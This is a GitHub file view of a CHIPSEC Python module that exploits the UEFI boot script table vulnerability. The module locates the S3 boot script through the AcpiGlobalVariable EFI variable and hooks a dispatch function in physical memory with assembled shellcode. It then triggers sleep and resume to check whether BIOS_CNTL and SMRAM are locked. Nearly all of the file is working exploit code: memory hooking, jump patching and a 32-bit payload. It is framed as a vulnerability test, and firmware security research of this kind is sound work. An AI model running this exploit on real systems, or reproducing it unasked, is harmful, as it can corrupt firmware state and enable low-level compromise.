-
Notifications
You must be signed in to change notification settings - Fork 45
/
Copy pathboot_script_table.py
734 lines (467 loc) · 19.1 KB
/
boot_script_table.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
'''
CHIPSEC module that exploits UEFI boot script table vulnerability.
This vulnerability was discovered by Rafal Wojtczuk and Corey Kallenberg, check
original white paper:
https://frab.cccv.de/system/attachments/2566/original/venamis_whitepaper.pdf
More detailed exploit description:
http://blog.cr4.sh/2015/02/exploiting-uefi-boot-script-table.html
Latest version:
https://github.com/Cr4sh/UEFI_boot_script_expl
WARNING:
Exploitation of this vulnerability is very hardware-specific because it depends on
boot script table format and location.
Exploit was tested with following hardware:
* Intel DQ77KB motherboard (Q77 chipset)
* Apple MacBook Pro 10,2 (late 2012, QM77 chipset)
Running this code on any other hardware may lead to unexpected problems.
Written by:
Dmytro Oleksiuk (aka Cr4sh)
cr4sh0@gmail.com
http://blog.cr4.sh
'''
import time
from struct import pack, unpack
from chipsec.module_common import *
from chipsec.hal.uefi import *
from chipsec.hal.physmem import *
_MODULE_NAME = 'boot_script_table'
PAYLOAD = '''
[bits 32]
; save registers
push eax
push edx
push esi
call _label
db 0ffh
dd 0 ; shellcode call counter
db 0 ; BIOS_CNTL value
dd 0 ; TSEGMB value
_label:
; get data address
pop esi
inc esi
; increment call counter
inc dword [esi]
; exit if current call isn't first
cmp byte [esi], 1
jne _end
; bus = 0, dev = 0x1f, func = 0, offset = 0xdc
mov eax, 0x8000f8dc
mov dx, 0xcf8
out dx, eax
; read BIOS_CNTL value
mov dx, 0xcfc
in al, dx
; save BIOS_CNTL value
mov byte [esi + 4], al
; bus = 0, dev = 0, func = 0, offset = 0xb8
mov eax, 0x800000b8
mov dx, 0xcf8
out dx, eax
; read TSEGMB value
mov dx, 0xcfc
in eax, dx
; save TSEGMB value
mov dword [esi + 5], eax
; check if TSEGMB is locked
and eax, 1
test eax, eax
jnz _end
; bus = 0, dev = 0, func = 0, offset = 0xb8
mov eax, 0x800000b8
mov dx, 0xcf8
out dx, eax
; write and lock TSEGMB with dummy/incorrect value
mov eax, 0xff000001
mov dx, 0xcfc
out dx, eax
_end:
; restore registers
pop esi
pop edx
pop eax
'''
def _at(data, off, size, fmt): return unpack(fmt, data[off : off + size])[0]
def byte_at(data, off = 0): return _at(data, off, 1, 'B')
def word_at(data, off = 0): return _at(data, off, 2, 'H')
def dword_at(data, off = 0): return _at(data, off, 4, 'I')
def qword_at(data, off = 0): return _at(data, off, 8, 'Q')
class BootScriptParser(object):
BOOT_SCRIPT_EDK_SIGN = '\xAA'
BOOT_SCRIPT_EDK_HEADER_LEN = 0x34
EFI_BOOT_SCRIPT_IO_WRITE_OPCODE = 0x00
EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE = 0x01
EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE = 0x02
EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE = 0x03
EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE = 0x04
EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE = 0x05
EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE = 0x06
EFI_BOOT_SCRIPT_STALL_OPCODE = 0x07
EFI_BOOT_SCRIPT_DISPATCH_OPCODE = 0x08
EFI_BOOT_SCRIPT_MEM_POLL_OPCODE = 0x09
boot_script_ops = [
'IO_WRITE',
'IO_READ_WRITE',
'MEM_WRITE',
'MEM_READ_WRITE',
'PCI_CONFIG_WRITE',
'PCI_CONFIG_READ_WRITE',
'SMBUS_EXECUTE',
'STALL',
'DISPATCH',
'EFI_BOOT_SCRIPT_MEM_POLL_OPCODE' ]
EfiBootScriptWidthUint8 = 0
EfiBootScriptWidthUint16 = 1
EfiBootScriptWidthUint32 = 2
EfiBootScriptWidthUint64 = 3
EfiBootScriptWidthFifoUint8 = 4
EfiBootScriptWidthFifoUint16 = 5
EfiBootScriptWidthFifoUint32 = 6
EfiBootScriptWidthFifoUint64 = 7
EfiBootScriptWidthFillUint8 = 8
EfiBootScriptWidthFillUint16 = 9
EfiBootScriptWidthFillUint32 = 10
EfiBootScriptWidthFillUint64 = 11
boot_script_width = [
'Uint8',
'Uint16',
'Uint32',
'Uint64',
'FifoUint8',
'FifoUint16',
'FifoUint32',
'FifoUint64',
'FillUint8',
'FillUint16',
'FillUint32',
'FillUint64' ]
def __init__(self, quiet = False):
self.quiet = quiet
def value_at(self, data, off, width):
if width == self.EfiBootScriptWidthUint8: return byte_at(data, off)
elif width == self.EfiBootScriptWidthUint16: return word_at(data, off)
elif width == self.EfiBootScriptWidthUint32: return dword_at(data, off)
elif width == self.EfiBootScriptWidthUint64: return qword_at(data, off)
else: raise Exception('Invalid width 0x%x' % width)
def width_size(self, width):
if width == self.EfiBootScriptWidthUint8: return 1
elif width == self.EfiBootScriptWidthUint16: return 2
elif width == self.EfiBootScriptWidthUint32: return 4
elif width == self.EfiBootScriptWidthUint64: return 8
else: raise Exception('Invalid width 0x%x' % width)
def log(self, data):
if not self.quiet: print data
def process_mem_write(self, width, addr, count, val):
self.log(('Width: %s, Addr: 0x%.16x, Count: %d\n' + \
'Value: %s\n') % \
(self.boot_script_width[width], addr, count, \
', '.join(map(lambda v: hex(v), val))))
def process_pci_config_write(self, width, bus, dev, fun, off, count, val):
self.log(('Width: %s, Count: %d\n' + \
'Bus: 0x%.2x, Device: 0x%.2x, Function: 0x%.2x, Offset: 0x%.2x\n' + \
'Value: %s\n') % \
(self.boot_script_width[width], count, bus, dev, fun, off, \
', '.join(map(lambda v: hex(v), val))))
def process_io_write(self, width, port, count, val):
self.log(('Width: %s, Port: 0x%.4x, Count: %d\n' + \
'Value: %s\n') % \
(self.boot_script_width[width], port, count, \
', '.join(map(lambda v: hex(v), val))))
def process_dispatch(self, addr):
self.log('Call addr: 0x%.16x' % (addr) + '\n')
def read_values(self, data, width, count):
values = []
for i in range(0, count):
# read single value of given width
values.append(self.value_at(data, i * self.width_size(width), width))
return values
def op_name(self, op):
if op < len(self.boot_script_ops):
return self.boot_script_ops[op]
else:
return 'UNKNOWN_0x%X' % op
def parse_intel(self, data, boot_script_addr = 0L):
ptr = 0
while data:
num, size, op = unpack('IIB', data[:9])
if op == 0xff:
self.log('# End of the boot script at offset 0x%x' % ptr)
break
elif op >= len(self.boot_script_ops):
raise Exception('Invalid op 0x%x' % op)
self.log('#%d len=%d %s' % (num, size, self.op_name(op)))
if op == self.EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE:
# get value information
width, count = byte_at(data, 9), qword_at(data, 24)
# get write adderss
addr = qword_at(data, 16)
# get values list
values = self.read_values(data[32:], width, count)
self.process_mem_write(width, addr, count, values)
elif op == self.EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE:
# get value information
width, count = byte_at(data, 9), qword_at(data, 24)
# get write adderss
addr = qword_at(data, 16)
# get PCI device address
bus, dev, fun, off = (addr >> 24) & 0xff, (addr >> 16) & 0xff, \
(addr >> 8) & 0xff, (addr >> 0) & 0xff
# get values list
values = self.read_values(data[32:], width, count)
self.process_pci_config_write(width, bus, dev, fun, off, count, values)
elif op == self.EFI_BOOT_SCRIPT_IO_WRITE_OPCODE:
# get value information
width, count = byte_at(data, 9), qword_at(data, 16)
# get I/O port number
port = word_at(data, 10)
# get values list
values = self.read_values(data[24:], width, count)
self.process_io_write(width, port, count, values)
elif op == self.EFI_BOOT_SCRIPT_DISPATCH_OPCODE:
# get call address
addr = qword_at(data, 16)
self.process_dispatch(addr)
else:
# skip unknown instruction
pass
# go to the next instruction
data = data[size:]
ptr += size
def parse_edk(self, data, boot_script_addr = 0L):
ptr = num = 0
while data:
op, _, size = unpack('BBB', data[:3])
if op == 0xff:
self.log('# End of the boot script at offset 0x%x' % ptr)
break
if op < len(self.boot_script_ops):
name = self.boot_script_ops[op]
self.log('#%d len=%d %s' % (num, size, self.op_name(op)))
if op == self.EFI_BOOT_SCRIPT_DISPATCH_OPCODE:
# get call address
addr = qword_at(data, 3)
self.process_dispatch(addr)
else:
# skip unknown instruction
pass
# go to the next instruction
data = data[size:]
ptr += size
num += 1
def parse(self, data, boot_script_addr = 0L):
# check for AAh signature
if data[0] == self.BOOT_SCRIPT_EDK_SIGN:
# parse EDK format of boot script table
self.parse_edk(data[1 + self.BOOT_SCRIPT_EDK_HEADER_LEN:], boot_script_addr)
else:
# parse Intel format (DQ77KB, Q77 chipset) of boot script table
self.parse_intel(data, boot_script_addr)
class Asm(object):
NASM = 'nasm'
TEMP = '.prog'
def __init__(self, path = None, bits = None):
self.prog_src = self.TEMP + '.asm'
self.prog_dst = self.TEMP + '.bin'
self.nasm_path = self.NASM if path is None else path
def prog_read(self):
with open(self.prog_dst, 'rb') as fd: return fd.read()
def prog_write(self, data):
with open(self.prog_src, 'wb') as fd: fd.write(data)
def compile_file(self, path):
code = os.system('"%s" "%s" -o "%s"' % \
(self.nasm_path, path, self.prog_dst))
if code != 0: raise Exception('nasm error %d' % code)
# read compiled binary contents
ret = self.prog_read()
os.unlink(self.prog_dst)
return ret
def compile(self, prog):
# write source into the .asm file
self.prog_write(prog)
# compile it with nasm
ret = self.compile_file(self.prog_src)
os.unlink(self.prog_src)
return ret
class boot_script_table(BaseModule):
EFI_VAR_NAME = 'AcpiGlobalVariable'
EFI_VAR_GUID = 'af9ffd67-ec10-488a-9dfc-6cbf5ee22c2e'
JUMP_32_LEN = 5
JUMP_64_LEN = 14
WAKE_AFTER = 10 # in seconds
BOOT_SCRIPT_OFFSET = 0x18
BOOT_SCRIPT_MAX_LEN = 0x8000
class CustomBootScriptParser(BootScriptParser):
class AddressFound(Exception):
def __init__(self, addr):
self.addr = addr
def process_dispatch(self, addr):
# pass dispatch instruction operand to the caller
raise self.AddressFound(addr)
def parse(self, data, boot_script_addr = 0L):
try:
BootScriptParser.parse(self, data, \
boot_script_addr = boot_script_addr)
except self.AddressFound as e:
return e.addr
# boot script doesn't have any dispatch instructions
return None
def _efi_var_read(self, name, guid):
data = self._uefi.get_EFI_variable(name, guid, None)
if len(data) == 4:
return dword_at(data)
elif len(data) == 8:
return qword_at(data)
def _mem_read(self, addr, size):
# align memory reads by 1000h
read_addr = addr & 0xfffffffffffff000
read_size = size + addr - read_addr
if hasattr(self._memory, 'read_phys_mem'):
# for CHIPSEC >= 1.1.7
data = self._memory.read_phys_mem(read_addr, read_size)
elif hasattr(self._memory, 'read_physical_mem'):
# for older versions
data = self._memory.read_physical_mem(read_addr, read_size)
else:
assert False
return data[addr - read_addr:]
def _mem_write(self, addr, data):
if hasattr(self._memory, 'write_phys_mem'):
# for CHIPSEC >= 1.1.7
self._memory.write_phys_mem(addr, len(data), data)
elif hasattr(self._memory, 'write_physical_mem'):
# for older versions
self._memory.write_physical_mem(addr, len(data), data)
else:
assert False
def _disasm(self, data):
import capstone
dis = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
dis.detail = True
for insn in dis.disasm(data, len(data)):
if insn.group(capstone.CS_GRP_JUMP) or \
insn.group(capstone.CS_GRP_CALL) or \
insn.group(capstone.CS_GRP_RET) or \
insn.group(capstone.CS_GRP_INT) or \
insn.group(capstone.CS_GRP_IRET):
raise Exception('Unable to patch %s instruction at the beginning of the function' % insn.mnemonic)
return insn.size
def _jump_32(self, src, dst):
print 'Jump from 0x%x to 0x%x' % (src, dst)
addr = pack('I', (dst - src - self.JUMP_32_LEN) & 0xffffffff)
return '\xe9' + addr
def _jump_64(self, src, dst):
print 'Jump from 0x%x to 0x%x' % (src, dst)
addr = pack('Q', dst & 0xffffffffffffffff)
return '\xff\x25\x00\x00\x00\x00' + addr
def _find_zero_bytes(self, addr, size):
max_size, page_size = 0, 0x1000
addr = (addr & 0xfffff000) + page_size
while max_size < 1024 * 1024:
# search for zero bytes at the end of the code page
if self._mem_read(addr - size, size) == '\0' * size:
addr -= size
return addr
addr += page_size
max_size += page_size
raise Exception('Unable to find unused memory to store payload')
def _hook(self, addr, payload):
hook_size = 0
data = self._mem_read(addr, 0x40)
# disassembly instructions and determinate patch length
while hook_size < self.JUMP_32_LEN:
size = self._disasm(data[hook_size:])
hook_size += size
print '%d bytes to patch' % hook_size
# backup original code of the function
data = data[:hook_size]
# find zero memory for patch
buff_size = len(payload) + hook_size + self.JUMP_32_LEN
buff_addr = self._find_zero_bytes(addr, buff_size)
print 'Found %d zero bytes for shellcode at 0x%x' % (buff_size, buff_addr)
# write payload + original bytes + jump back to hooked function
buff = payload + data + \
self._jump_32(buff_addr + len(payload) + hook_size, \
addr + hook_size)
self._mem_write(buff_addr, buff)
# write 32-bit jump from function to payload
self._mem_write(addr, self._jump_32(addr, buff_addr))
return buff_addr, buff_size, data
def exploit(self):
self.logger.start_test('UEFI boot script table vulnerability exploit')
# read ACPI global variable structure data
AcpiGlobalVariable = self._efi_var_read(self.EFI_VAR_NAME, self.EFI_VAR_GUID)
print '[*] AcpiGlobalVariable = 0x%x' % AcpiGlobalVariable
# get bootscript pointer
data = self._mem_read(AcpiGlobalVariable, self.BOOT_SCRIPT_OFFSET + 8)
boot_script = dword_at(data, self.BOOT_SCRIPT_OFFSET)
print '[*] UEFI boot script addr = 0x%x' % boot_script
if boot_script == 0:
raise Exception('Unable to locate boot script table')
data = self._mem_read(boot_script, self.BOOT_SCRIPT_MAX_LEN)
# read and parse boot script
dispatch_addr = self.CustomBootScriptParser(quiet = True).parse( \
data, boot_script_addr = boot_script)
if dispatch_addr is None:
raise Exception('Unable to locate EFI_BOOT_SCRIPT_DISPATCH_OPCODE')
print '[*] Target function addr = 0x%x' % dispatch_addr
# compile exploitation payload
payload = Asm().compile(PAYLOAD)
# find offset of payload data area
offset = payload.find('\xff' + '\0' * (4 + 1 + 4))
if offset == -1: raise Exception('Invalid payload')
# execute payload as UEFI function handler
ret = self._hook(dispatch_addr, payload)
if ret is not None:
buff_addr, buff_size, old_data = ret
print 'Going to S3 sleep for %d seconds ...' % self.WAKE_AFTER
# go to the S3 sleep
time.sleep(3)
os.system('rtcwake -m mem -s %d' % self.WAKE_AFTER)
# read BIOS_CNTL and TSEGMB values that obtained saved by payload
data = self._mem_read(buff_addr + offset + 1, 4 + 1 + 4)
count, BIOS_CNTL, TSEGMB = unpack('=IBI', data)
if count == 0:
print 'ERROR: shellcode was not executed during S3 resume'
return ModuleResult.ERROR
print '[*] BIOS_CNTL = 0x%.2x' % BIOS_CNTL
print '[*] TSEGMB = 0x%.2x' % TSEGMB
# restore modified memory
self._mem_write(dispatch_addr, old_data)
self._mem_write(buff_addr, '\0' * buff_size)
# get bit at given position
bitval = lambda val, b: 0L if val & (1L << b) == 0 else 1L
success = True
# bios lock enable bit of BIOS_CNTL
BLE = 1
# check if access to flash is locked
if bitval(BIOS_CNTL, BLE) == 0:
print '[!] Bios lock enable bit is not set'
success = False
else:
print '[*] Bios lock enabled bit is set'
# check if access to SMRAM via DMA is locked
if TSEGMB & 1 == 0:
print '[!] SMRAM is not locked'
success = False
else:
print '[*] SMRAM is locked'
if success:
print '[*] Your system is NOT VULNERABLE'
return ModuleResult.PASSED
else:
print '[!] Your system is VULNERABLE'
return ModuleResult.FAILED
return ModuleResult.ERROR
def is_supported(self):
return True
# --------------------------------------------------------------------------
# run(module_argv)
# Required function: run here all tests from this module
# --------------------------------------------------------------------------
def run(self, module_argv):
self._uefi = UEFI(self.cs.helper)
self._memory = Memory(self.cs.helper)
return self.exploit()
#
# EoF
#